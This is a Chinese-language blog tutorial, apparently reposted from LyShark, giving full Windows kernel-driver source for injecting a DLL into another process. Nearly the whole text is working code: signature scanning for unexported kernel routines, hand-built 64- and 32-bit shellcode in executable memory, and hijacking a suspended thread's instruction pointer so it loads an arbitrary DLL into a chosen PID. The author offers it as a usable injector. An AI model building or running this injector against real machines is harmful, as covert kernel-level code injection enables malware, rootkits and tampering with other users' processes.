NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
{
DbgPrint("Hello LyShark.com \n");
UNREFERENCED_PARAMETER(RegistryPath);
// 初始化基址
InitAddress(Driver);
ULONG ProcessID = 4904;
PVOID AllcateAddress = NULL;
DWORD create_size = 1024;
// 申請堆 《內核遠程堆分配與銷毀》核心代碼
NTSTATUS Status = AllocMemory(ProcessID, create_size, &AllcateAddress);
// 執行ShellCode執行緒注入
Status = GetCurrentContext(ProcessID, &AllcateAddress);
Driver->DriverUnload = UnDriver;
return STATUS_SUCCESS;
}
運行如上代碼片段,則將輸出行程ID=4904的當前行程內,執行緒背景關系RIP地址,輸出效果如下圖所示;

KernelInjectDLL 驅動注入: 如上代碼中我們已經找到了驅動注入時所需用到的關鍵函式,那么實作代碼就變得很容易了,驅動注入的實作方式有很多種,不論哪一種其實作的難度并不在于代碼本身,而在于某些結構如何正確的被找到,一旦結構被找到原理方面的代碼可以說非常容易獲取到,如下這段完整代碼則是驅動注入的一個簡化版,如果你覺得不方便完全可以自行添加IOCTL控制器讓其更易于使用,此處為了節約篇幅不在增加冗余代碼,代碼已做具體分析和備注,
此注入驅動核心實作代碼如下所示,其中SearchOPcode用于在內核模塊中尋找符合條件的記憶體地址,GetNativeCode則用于生成一段可被呼叫的ShellCode代碼,此代碼執行的目的就是將DLL動態裝載到對端記憶體中,SetThreadStartAddress則用于填充執行執行緒結構資訊,GetUserModule用戶獲取行程內特定模塊的基址,GetModuleExport用于在模塊內尋找特定函式的基址,KernelInjectDLL則是最終注入函式,其首先將執行緒暫停,并注入生成的ShellCode,然后恢復執行緒讓ShellCode跑起來,當ShellCode跑起來后將會自動的將特定目錄下的DLL拉起來,以此來實作動態加載的目的,
// 署名權
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: [email protected]
#include "lyshark.h"
// 內核特征碼定位函式封裝
PVOID SearchOPcode(PDRIVER_OBJECT pObj, PWCHAR DriverName, PCHAR sectionName, PUCHAR opCode, int len, int offset)
{
PVOID dllBase = NULL;
UNICODE_STRING uniDriverName;
PKLDR_DATA_TABLE_ENTRY firstentry;
// 獲取驅動入口
PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)pObj->DriverSection;
firstentry = entry;
RtlInitUnicodeString(&uniDriverName, DriverName);
// 開始遍歷
while ((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
{
// 如果找到了所需模塊則將其基地址回傳
if (entry->FullDllName.Buffer != 0 && entry->BaseDllName.Buffer != 0)
{
if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)
{
dllBase = entry->DllBase;
break;
}
}
entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
}
if (dllBase)
{
__try
{
// 載入模塊基地址
PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)dllBase;
if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
return NULL;
}
// 得到模塊NT頭
PIMAGE_NT_HEADERS64 pImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)dllBase + ImageDosHeader->e_lfanew);
// 獲取節表頭
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)pImageNtHeaders64 + sizeof(pImageNtHeaders64->Signature) + sizeof(pImageNtHeaders64->FileHeader) + pImageNtHeaders64->FileHeader.SizeOfOptionalHeader);
PUCHAR endAddress = 0;
PUCHAR starAddress = 0;
// 尋找符合條件的節
for (int i = 0; i < pImageNtHeaders64->FileHeader.NumberOfSections; i++)
{
// 尋找符合條件的表名
if (memcmp(sectionName, pSectionHeader->Name, strlen(sectionName) + 1) == 0)
{
// 取出開始和結束地址
starAddress = pSectionHeader->VirtualAddress + (PUCHAR)dllBase;
endAddress = pSectionHeader->VirtualAddress + (PUCHAR)dllBase + pSectionHeader->SizeOfRawData;
break;
}
// 遍歷下一個節
pSectionHeader++;
}
if (endAddress && starAddress)
{
// 找到會開始尋找特征
for (; starAddress < endAddress - len - 1; starAddress++)
{
// 驗證訪問權限
if (MmIsAddressValid(starAddress))
{
int i = 0;
for (; i < len; i++)
{
// 判斷是否為通配符'*'
if (opCode[i] == 0x2a)
continue;
// 找到了一個位元組則跳出
if (opCode[i] != starAddress[i])
break;
}
// 找到次數完全匹配則回傳地址
if (i == len)
{
return starAddress + offset;
}
}
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
}
return NULL;
}
// 生成64位注入代碼
PINJECT_BUFFER GetNativeCode(PVOID LdrLoadDll, PUNICODE_STRING DllFullPath, ULONGLONG orgEip)
{
SIZE_T Size = PAGE_SIZE;
PINJECT_BUFFER InjectBuffer = NULL;
UCHAR Code[] = {
0x41, 0x57, // push r15
0x41, 0x56, // push r14
0x41, 0x55, // push r13
0x41, 0x54, // push r12
0x41, 0x53, // push r11
0x41, 0x52, // push r10
0x41, 0x51, // push r9
0x41, 0x50, // push r8
0x50, // push rax
0x51, // push rcx
0x53, // push rbx
0x52, // push rdx
0x55, // push rbp
0x54, // push rsp
0x56, // push rsi
0x57, // push rdi
0x66, 0x9C, // pushf
0x48, 0x83, 0xEC, 0x26, // sub rsp, 0x28
0x48, 0x31, 0xC9, // xor rcx, rcx
0x48, 0x31, 0xD2, // xor rdx, rdx
0x49, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, // mov r8, ModuleFileName offset +38
0x49, 0xB9, 0, 0, 0, 0, 0, 0, 0, 0, // mov r9, ModuleHandle offset +48
0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, // mov rax, LdrLoadDll offset +58
0xFF, 0xD0, // call rax
0x48, 0xBA, 0, 0, 0, 0, 0, 0, 0, 0, // mov rdx, COMPLETE_OFFSET offset +70
0xC7, 0x02, 0x7E, 0x1E, 0x37, 0xC0, // mov [rdx], CALL_COMPLETE
0x48, 0xBA, 0, 0, 0, 0, 0, 0, 0, 0, // mov rdx, STATUS_OFFSET offset +86
0x89, 0x02, // mov [rdx], eax
0x48, 0x83, 0xC4, 0x26, // add rsp, 0x28
0x66, 0x9D, // popf
0x5F, // pop rdi
0x5E, // pop rsi
0x5C, // pop rsp
0x5D, // pop rbp
0x5A, // pop rdx
0x5B, // pop rbx
0x59, // pop rcx
0x58, // pop rax
0x41, 0x58, // pop r8
0x41, 0x59, // pop r9
0x41, 0x5A, // pop r10
0x41, 0x5B, // pop r11
0x41, 0x5C, // pop r12
0x41, 0x5D, // pop r13
0x41, 0x5E, // pop r14
0x41, 0x5F, // pop r15
0x50, // push rax
0x50, // push rax
0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, // mov rax, orgEip offset +130
0x48, 0x89, 0x44, 0x24, 0x08, // mov [rsp+8],rax
0x58, // pop rax
0xC3 // ret
};
// 在當前行程內分配記憶體空間
if (NT_SUCCESS(ZwAllocateVirtualMemory(ZwCurrentProcess(), &InjectBuffer, 0, &Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
{
// 初始化路徑變數與長度引數
PUNICODE_STRING UserPath = &InjectBuffer->Path;
UserPath->Length = DllFullPath->Length;
UserPath->MaximumLength = DllFullPath->MaximumLength;
UserPath->Buffer = InjectBuffer->Buffer;
RtlUnicodeStringCopy(UserPath, DllFullPath);
// 將ShellCode拷貝到InjectBuffer中等待處理
memcpy(InjectBuffer, Code, sizeof(Code));
// 修改代碼模板,將指定位置替換為我們自己的代碼
*(ULONGLONG*)((PUCHAR)InjectBuffer + 38) = (ULONGLONG)UserPath;
*(ULONGLONG*)((PUCHAR)InjectBuffer + 48) = (ULONGLONG)& InjectBuffer->ModuleHandle;
*(ULONGLONG*)((PUCHAR)InjectBuffer + 58) = (ULONGLONG)LdrLoadDll;
*(ULONGLONG*)((PUCHAR)InjectBuffer + 70) = (ULONGLONG)& InjectBuffer->Complete;
*(ULONGLONG*)((PUCHAR)InjectBuffer + 86) = (ULONGLONG)& InjectBuffer->Status;
*(ULONGLONG*)((PUCHAR)InjectBuffer + 130) = orgEip;
return InjectBuffer;
}
return NULL;
}
// 生成32位注入代碼
PINJECT_BUFFER GetWow64Code(PVOID LdrLoadDll, PUNICODE_STRING DllFullPath, ULONG orgEip)
{
SIZE_T Size = PAGE_SIZE;
PINJECT_BUFFER InjectBuffer = NULL;
UCHAR Code[] = {
0x60, // pushad
0x9c, // pushfd
0x68, 0, 0, 0, 0, // push ModuleHandle offset +3
0x68, 0, 0, 0, 0, // push ModuleFileName offset +8
0x6A, 0, // push Flags
0x6A, 0, // push PathToFile
0xE8, 0, 0, 0, 0, // call LdrLoadDll offset +17
0xBA, 0, 0, 0, 0, // mov edx, COMPLETE_OFFSET offset +22
0xC7, 0x02, 0x7E, 0x1E, 0x37, 0xC0, // mov [edx], CALL_COMPLETE
0xBA, 0, 0, 0, 0, // mov edx, STATUS_OFFSET offset +33
0x89, 0x02, // mov [edx], eax
0x9d, // popfd
0x61, // popad
0x50, // push eax
0x50, // push eax
0xb8, 0, 0, 0, 0, // mov eax, orgEip
0x89, 0x44, 0x24, 0x04, // mov [esp+4],eax
0x58, // pop eax
0xc3 // ret
};
/*
如下代碼中通過定義Code并寫入呼叫模塊加載的匯編指令集,通過運用ZwAllocateVirtualMemory在當前行程也就是附加到對端以后的行程內動態開辟了一塊長度為Size的記憶體空間并賦予了PAGE_EXECUTE_READWRITE讀寫執行屬性,
由于Code代碼無法直接使用,則此處呼叫RtlCopyMemory將指令拷貝到了InjectBuffer其目的是用于后續的填充作業,最后通過*(ULONG*)((PUCHAR)InjectBuffer + 3)的方式將需要使用的函式地址,
模塊資訊等依次填充到匯編代碼的指定位置,并回傳InjectBuffer指標,
*/
// 在當前行程內分配記憶體空間
if (NT_SUCCESS(ZwAllocateVirtualMemory(ZwCurrentProcess(), &InjectBuffer, 0, &Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
{
// 初始化路徑變數與長度引數
PUNICODE_STRING32 pUserPath = &InjectBuffer->Path32;
pUserPath->Length = DllFullPath->Length;
pUserPath->MaximumLength = DllFullPath->MaximumLength;
pUserPath->Buffer = (ULONG)(ULONG_PTR)InjectBuffer->Buffer;
// 將ShellCode拷貝到InjectBuffer中等待處理
memcpy((PVOID)pUserPath->Buffer, DllFullPath->Buffer, DllFullPath->Length);
memcpy(InjectBuffer, Code, sizeof(Code));
// 修改代碼模板,將指定位置替換為我們自己的代碼
*(ULONG*)((PUCHAR)InjectBuffer + 3) = (ULONG)(ULONG_PTR)& InjectBuffer->ModuleHandle;
*(ULONG*)((PUCHAR)InjectBuffer + 8) = (ULONG)(ULONG_PTR)pUserPath;
*(ULONG*)((PUCHAR)InjectBuffer + 17) = (ULONG)((ULONG_PTR)LdrLoadDll - ((ULONG_PTR)InjectBuffer + 17) - 5 + 1);
*(ULONG*)((PUCHAR)InjectBuffer + 22) = (ULONG)(ULONG_PTR)& InjectBuffer->Complete;
*(ULONG*)((PUCHAR)InjectBuffer + 33) = (ULONG)(ULONG_PTR)& InjectBuffer->Status;
*(ULONG*)((PUCHAR)InjectBuffer + 44) = orgEip;
return InjectBuffer;
}
return NULL;
}
// 設定執行緒執行地址
NTSTATUS SetThreadStartAddress(PETHREAD pEthread, BOOLEAN isWow64, PVOID LdrLoadDll, PUNICODE_STRING DllFullPath, PINJECT_BUFFER *allcateAddress)
{
__try
{
// 判斷是32位則執行
if (isWow64)
{
// 得到執行緒TEB
PVOID pTeb = g_PsGetThreadTeb(pEthread);
if (pTeb)
{
// 得到當前執行緒背景關系
PWOW64_CONTEXT pCurrentContext = (PWOW64_CONTEXT)(*(ULONG64*)((ULONG64)pTeb + WOW64CONTEXTOFFSET));
// 檢查背景關系是否可讀
ProbeForRead((PVOID)pCurrentContext, sizeof(pCurrentContext), sizeof(CHAR));
// 生成注入代碼
PINJECT_BUFFER newAddress = GetWow64Code(LdrLoadDll, DllFullPath, pCurrentContext->Eip);
if (newAddress)
{
// 替換背景關系地址到記憶體中
newAddress->orgRipAddress = (ULONG64)& (pCurrentContext->Eip);
newAddress->orgRip = pCurrentContext->Eip;
*allcateAddress = newAddress;
pCurrentContext->Eip = (ULONG)(ULONG64)(newAddress);
}
return STATUS_SUCCESS;
}
}
// 執行64位代碼
else
{
// 驗證地址是否可讀取
if (MmIsAddressValid((PVOID)* (ULONG64*)((ULONG64)pEthread + INITIALSTACKOFFSET)))
{
// 當前TID
PKTRAP_FRAME pCurrentTrap = (PKTRAP_FRAME)(*(ULONG64*)((ULONG64)pEthread + INITIALSTACKOFFSET) - sizeof(KTRAP_FRAME));
// 生成注入代碼
PINJECT_BUFFER newAddress = GetNativeCode(LdrLoadDll, DllFullPath, pCurrentTrap->Rip);
if (newAddress)
{
// 替換當前RIP地址
newAddress->orgRipAddress = (ULONG64)& (pCurrentTrap->Rip);
newAddress->orgRip = pCurrentTrap->Rip;
*allcateAddress = newAddress;
pCurrentTrap->Rip = (ULONG64)newAddress;
}
}
return STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
return STATUS_UNSUCCESSFUL;
}
// 得到當前用戶行程下的模塊基址
PVOID GetUserModule(IN PEPROCESS EProcess, IN PUNICODE_STRING ModuleName, IN BOOLEAN IsWow64)
{
if (EProcess == NULL)
return NULL;
__try
{
// 執行32位
if (IsWow64)
{
// 獲取32位下的PEB行程環境塊
PPEB32 Peb32 = (PPEB32)g_PsGetProcessWow64Process(EProcess);
if (Peb32 == NULL)
return NULL;
if (!Peb32->Ldr)
return NULL;
// 回圈遍歷鏈表 尋找模塊
for (PLIST_ENTRY32 ListEntry = (PLIST_ENTRY32)((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList.Flink;
ListEntry != &((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList;
ListEntry = (PLIST_ENTRY32)ListEntry->Flink)
{
UNICODE_STRING UnicodeString;
PLDR_DATA_TABLE_ENTRY32 LdrDataTableEntry32 = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY32, InLoadOrderLinks);
// 初始化模塊名
RtlUnicodeStringInit(&UnicodeString, (PWCH)LdrDataTableEntry32->BaseDllName.Buffer);
// 對比模塊名是否符合
if (RtlCompareUnicodeString(&UnicodeString, ModuleName, TRUE) == 0)
return (PVOID)LdrDataTableEntry32->DllBase;
}
}
// 執行64位
else
{
// 得到64位PEB行程環境塊
PPEB Peb = PsGetProcessPeb(EProcess);
if (!Peb)
return NULL;
if (!Peb->Ldr)
return NULL;
// 開始遍歷模塊
for (PLIST_ENTRY ListEntry = Peb->Ldr->InLoadOrderModuleList.Flink;
ListEntry != &Peb->Ldr->InLoadOrderModuleList;
ListEntry = ListEntry->Flink)
{
// 得到表頭
PLDR_DATA_TABLE_ENTRY LdrDataTableEntry = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
// 判斷是否是所需要的模塊
if (RtlCompareUnicodeString(&LdrDataTableEntry->BaseDllName, ModuleName, TRUE) == 0)
return LdrDataTableEntry->DllBase;
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER){}
return NULL;
}
// 根據函式名得到匯出表地址
PVOID GetModuleExport(IN PVOID ModuleBase, IN PCCHAR FunctionName)
{
PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)ModuleBase;
PIMAGE_NT_HEADERS32 ImageNtHeaders32 = NULL;
PIMAGE_NT_HEADERS64 ImageNtHeaders64 = NULL;
PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = NULL;
ULONG ExportDirectorySize = 0;
ULONG_PTR FunctionAddress = 0;
if (ModuleBase == NULL)
return NULL;
__try
{
// 判斷是否是DOS頭
if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
return NULL;
}
// 獲取PE結構節NT頭
ImageNtHeaders32 = (PIMAGE_NT_HEADERS32)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);
ImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);
// 判斷是否是64位
if (ImageNtHeaders64->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
{
// 如果是64位則執行如下
ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase);
ExportDirectorySize = ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
}
else
{
// 如果32位則執行如下
ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase);
ExportDirectorySize = ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
}
// 取出匯出表Index,名字,函地址等
PUSHORT pAddressOfOrds = (PUSHORT)(ImageExportDirectory->AddressOfNameOrdinals + (ULONG_PTR)ModuleBase);
PULONG pAddressOfNames = (PULONG)(ImageExportDirectory->AddressOfNames + (ULONG_PTR)ModuleBase);
PULONG pAddressOfFuncs = (PULONG)(ImageExportDirectory->AddressOfFunctions + (ULONG_PTR)ModuleBase);
// 回圈匯出表
for (ULONG i = 0; i < ImageExportDirectory->NumberOfFunctions; ++i)
{
USHORT OrdIndex = 0xFFFF;
PCHAR pName = NULL;
// 說明是序號匯出
if ((ULONG_PTR)FunctionName <= 0xFFFF)
{
// 得到函式序號
OrdIndex = (USHORT)i;
}
// 說明是名字匯出
else if ((ULONG_PTR)FunctionName > 0xFFFF && i < ImageExportDirectory->NumberOfNames)
{
// 得到函式名
pName = (PCHAR)(pAddressOfNames[i] + (ULONG_PTR)ModuleBase);
OrdIndex = pAddressOfOrds[i];
}
else
return NULL;
// 判斷函式名是否符合
if (((ULONG_PTR)FunctionName <= 0xFFFF && (USHORT)((ULONG_PTR)FunctionName) == OrdIndex + ImageExportDirectory->Base) ||
((ULONG_PTR)FunctionName > 0xFFFF && strcmp(pName, FunctionName) == 0))
{
// 得到完整地址
FunctionAddress = pAddressOfFuncs[OrdIndex] + (ULONG_PTR)ModuleBase;
break;
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER){}
return (PVOID)FunctionAddress;
}
// DLL模塊注入執行緒函式
NTSTATUS KernelInjectDLL(ULONG pid, PUNICODE_STRING DllFullPath, PINJECT_BUFFER* allcateAddress)
{
PEPROCESS pEprocess = NULL;
// 根據PID得到行程Eprocess結構
if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pid, &pEprocess)))
{
KAPC_STATE kApc = { 0 };
// 附加到行程內
KeStackAttachProcess(pEprocess, &kApc);
// 得到Ntdll.dll模塊基址
UNICODE_STRING ntdllString = RTL_CONSTANT_STRING(L"Ntdll.dll");
PVOID NtdllAddress = GetUserModule(pEprocess, &ntdllString, g_PsGetProcessWow64Process(pEprocess) != 0);
if (!NtdllAddress)
{
// 失敗了則直接脫離附加
KeUnstackDetachProcess(&kApc);
ObDereferenceObject(pEprocess);
return STATUS_UNSUCCESSFUL;
}
// 得到LdrLoadDLL模塊的基址
PVOID LdrLoadDll = GetModuleExport(NtdllAddress, "LdrLoadDll");
if (!LdrLoadDll)
{
KeUnstackDetachProcess(&kApc);
ObDereferenceObject(pEprocess);
return STATUS_UNSUCCESSFUL;
}
HANDLE threadHandle = NULL;
// 得到當前正在運行的執行緒背景關系
if (NT_SUCCESS(g_ZwGetNextThread((HANDLE)-1, (HANDLE)0, 0x1FFFFF, 0x240, 0, &threadHandle)))
{
PVOID threadObj = NULL;
// 在物件句柄上提供訪問驗證,如果可以授予訪問權限,則回傳指向物件的正文的相應指標,
NTSTATUS state = ObReferenceObjectByHandle(threadHandle, 0x1FFFFF, *PsThreadType, KernelMode, &threadObj, NULL);
if (NT_SUCCESS(state))
{
// 暫停執行緒
g_PsSuspendThread(threadObj, NULL);
// 設定執行緒ShellCode代碼
SetThreadStartAddress(threadObj, g_PsGetProcessWow64Process(pEprocess) != 0, LdrLoadDll, DllFullPath, allcateAddress);
// 恢復執行緒
g_PsResumeThread(threadObj, NULL);
ObDereferenceObject(threadObj);
}
NtClose(threadHandle);
}
// 關閉執行緒
KeUnstackDetachProcess(&kApc);
ObDereferenceObject(pEprocess);
}
return STATUS_SUCCESS;
}
NTSTATUS UnDriver(PDRIVER_OBJECT driver)
{
UNREFERENCED_PARAMETER(driver);
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
{
DbgPrint("Hello LyShark.com \n");
UNREFERENCED_PARAMETER(RegistryPath);
// -----------------------------------------------------------------------
// 初始化
// -----------------------------------------------------------------------
UCHAR SuspendOpCode[] = { 0x48, 0x8b, 0xf9, 0x83, 0x64, 0x24, 0x20, 0x00, 0x65, 0x48, 0x8b, 0x34, 0x25, 0x88, 0x01 };
UCHAR ResumeOpCode[] = { 0x48, 0x8b, 0xf9, 0xe8, 0xee, 0x4f, 0xa5, 0xff, 0x65, 0x48, 0x8b, 0x14, 0x25, 0x88 };
// 特征碼檢索PsSuspendThread函式基址
g_PsSuspendThread = (PPsSuspendThread)SearchOPcode(Driver, L"ntoskrnl.exe", "PAGE", SuspendOpCode, sizeof(SuspendOpCode), -24);
DbgPrint("PsSuspendThread = %p \n", g_PsSuspendThread);
// 特征碼檢索PsResumeThread基址
g_PsResumeThread = (PPsResumeThread)SearchOPcode(Driver, L"ntoskrnl.exe", "PAGE", ResumeOpCode, sizeof(ResumeOpCode), -18);
DbgPrint("PsResumeThread = %p \n", g_PsResumeThread);
// 動態獲取記憶體中的ZwGetNextThread基址
UNICODE_STRING ZwGetNextThreadString = RTL_CONSTANT_STRING(L"ZwGetNextThread");
g_ZwGetNextThread = (PZwGetNextThread)MmGetSystemRoutineAddress(&ZwGetNextThreadString);
DbgPrint("ZwGetNextThread = %p \n", g_ZwGetNextThread);
// 動態獲取記憶體中的PsGetThreadTeb基址
UNICODE_STRING PsGetThreadTebString = RTL_CONSTANT_STRING(L"PsGetThreadTeb");
g_PsGetThreadTeb = (PPsGetThreadTeb)MmGetSystemRoutineAddress(&PsGetThreadTebString);
DbgPrint("PsGetThreadTeb = %p \n", g_PsGetThreadTeb);
// 動態獲取記憶體中的PsGetProcessWow64Process基址
UNICODE_STRING PsGetProcessWow64ProcessString = RTL_CONSTANT_STRING(L"PsGetProcessWow64Process");
g_PsGetProcessWow64Process = (PPsGetProcessWow64Process)MmGetSystemRoutineAddress(&PsGetProcessWow64ProcessString);
DbgPrint("PsGetProcessWow64Process = %p \n", g_PsGetProcessWow64Process);
// -----------------------------------------------------------------------
// 注入代碼
// -----------------------------------------------------------------------
ULONG ProcessID = 984;
UNICODE_STRING InjectDllPath = RTL_CONSTANT_STRING(L"C:\\Users\\lyshark\\Desktop\\hook.dll");
PINJECT_BUFFER AllcateAddress = NULL;
// 執行執行緒注入
NTSTATUS Status = KernelInjectDLL(ProcessID, &InjectDllPath, &AllcateAddress);
if (Status == STATUS_SUCCESS)
{
DbgPrint("[*] 執行緒注入PID = %d | DLL = %wZ \n", ProcessID, InjectDllPath);
}
Driver->DriverUnload = UnDriver;
return STATUS_SUCCESS;
}
首先你需要自行準備好一個DLL檔案,此處我的是hook.dll將檔案放入到桌面,然后設定ProcessID指定行程ID,設定InjectDllPath指定DLL路徑,簽名后將驅動加載起來,此時你會看到WinDBG中的輸出,且應用層的行程也會彈出hello lyshark的訊息,說明注入成功了,如下圖所示;

文章出處:https://www.cnblogs.com/LyShark/p/17159809.html
本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/555390.html
標籤:訊息安全
下一篇:返回列表
